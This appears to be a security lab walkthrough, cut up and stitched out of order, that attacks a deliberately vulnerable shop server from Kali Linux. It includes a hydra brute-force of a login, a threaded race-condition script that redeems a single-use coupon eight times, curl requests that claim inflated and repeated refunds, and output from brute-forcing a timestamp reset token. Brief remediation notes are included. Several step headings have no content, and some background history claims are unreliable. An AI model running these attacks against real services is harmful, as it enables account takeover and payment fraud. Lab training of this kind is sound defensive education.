Exploit business logic vulnerabilities on a live server from Kali Linux: brute-force a login with no rate limiting, exploit a race condition to redeem a single-use coupon 8 times simultaneously, commit refund fraud by controlling the refund amount client-side, predict and forge a timestamp-based password reset token, and skip the payment step in a checkout workflow entirely.
Background
Insecure Design is OWASP #4 (2021) — vulnerabilities baked into the application's architecture before a line of code is written. No patch fixes these; they require redesign. Race conditions exploiting time-of-check to time-of-use (TOCTOU) gaps have stolen millions from financial apps. In 2022, a DeFi protocol lost $182M to a flash loan race condition. Predictable reset tokens have been used to take over accounts at Twitter, GitHub, and major banks.
💡 No rate limiting means an attacker can try thousands of passwords per second.rockyou.txt has 14 million entries — against an unprotected endpoint, it completes in minutes. Defence: max 5 attempts per 15 minutes per IP + username, exponential backoff, CAPTCHA after 3 failures, and account lockout notifications.
💡 The race window exists between the check and the update. Thread 1 reads uses=0 < max_uses=1 ✓, then sleeps 50ms (DB latency). Threads 2–8 also read uses=0 before Thread 1's update commits. All 8 pass the check. The fix: UPDATE coupons SET uses=uses+1 WHERE code=? AND uses < max_uses — the WHERE clause makes the check and update atomic in the database.
Step 5: Refund Fraud — Client-Controlled Amount
📸 Verified Output:
Step 6: Predict Password Reset Token
📸 Verified Output:
Step 7: Skip Payment in Checkout Workflow
📸 Verified Output:
💡 Multi-step workflows must enforce step order server-side. The client says "I've paid" by skipping the payment URL — the server must verify payment actually occurred via an authoritative record (e.g., a payment gateway reference ID stored in the session). Never trust client-supplied state about workflow progress.
Step 8: Cleanup
On your host:
Remediation
Vulnerability
Root Cause
Fix
No brute-force protection
No rate limiting on login
Max 5 attempts/15min per IP + username; lockout + notify
echo "=== Brute-force: no lockout, no rate limiting ==="
# Create wordlists
echo -e "admin123\npassword1\nbob123\nwrong1\nwrong2\n123456\nletmein" > /tmp/wordlist.txt
# Brute-force alice's password with hydra
hydra -l alice -P /tmp/wordlist.txt victim-a04 -s 5000 \
http-post-form \
"/api/login:username=^USER^&password=^PASS^:Invalid" \
-t 4 -V
[ATTEMPT] login "alice" - pass "admin123"
[ATTEMPT] login "alice" - pass "password1"
[5000][http-post-form] host: victim-a04 login: alice password: password1
1 of 1 target successfully completed, 1 valid password found
# Use found credentials to log in
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"alice","password":"password1"}' \
$TARGET/api/login | python3 -m json.tool
echo "=== Race condition: SAVE50 coupon (max 1 use) ==="
echo "Sending 8 simultaneous requests to exploit TOCTOU window..."
python3 << 'EOF'
import urllib.request, json, threading, time
TARGET = "http://victim-a04:5000"
results = []
lock = threading.Lock()
def redeem(thread_id):
try:
req = urllib.request.Request(
f"{TARGET}/api/coupon/apply",
data=json.dumps({"code": "SAVE50", "order_id": 1}).encode(),
headers={"Content-Type": "application/json"})
resp = json.loads(urllib.request.urlopen(req, timeout=5).read())
with lock:
results.append((thread_id, "SUCCESS", resp['message']))
except Exception as e:
with lock:
results.append((thread_id, "FAIL", str(e)[:60]))
# Fire all 8 threads simultaneously
threads = [threading.Thread(target=redeem, args=(i,)) for i in range(8)]
start = time.time()
for t in threads: t.start()
for t in threads: t.join()
elapsed = time.time() - start
print(f"Sent 8 concurrent requests in {elapsed:.2f}s")
print(f"Coupon max_uses = 1")
print()
successes = [(i, m) for i, s, m in results if s == "SUCCESS"]
failures = [(i, m) for i, s, m in results if s == "FAIL"]
print(f"SUCCESS: {len(successes)} redemptions (should be 1!)")
for tid, msg in successes:
print(f" Thread {tid}: {msg}")
print(f"FAIL: {len(failures)}")
for tid, msg in failures:
print(f" Thread {tid}: {msg}")
EOF
Sent 8 concurrent requests in 0.09s
Coupon max_uses = 1
SUCCESS: 8 redemptions (should be 1!)
Thread 0: $50.0 off applied!
Thread 1: $50.0 off applied!
Thread 2: $50.0 off applied!
...all 8 succeed...
echo "=== Refund fraud: order was $49.99, claiming $5000 ==="
# Normal refund amount
curl -s -X POST -H "Content-Type: application/json" \
-d '{"order_id": 2, "amount": 49.99}' \
$TARGET/api/refund | python3 -m json.tool
echo ""
echo "=== Now claim $5000 on the same order ==="
curl -s -X POST -H "Content-Type: application/json" \
-d '{"order_id": 2, "amount": 5000.00}' \
$TARGET/api/refund | python3 -m json.tool
echo ""
echo "=== Double-refund the same order ==="
curl -s -X POST -H "Content-Type: application/json" \
-d '{"order_id": 2, "amount": 49.99}' \
$TARGET/api/refund | python3 -m json.tool
[*] Requesting password reset for alice...
Server: Reset link sent to email
[*] Brute-forcing token...
ts=1741054381: a3f8d921 — no match
ts=1741054382: b4c2e5f7 — no match
ts=1741054383: 7a2f4b9c — no match
FOUND token=4e88323c at ts=1741054384
Server: {'message': 'Password reset successful!', 'user_id': 2}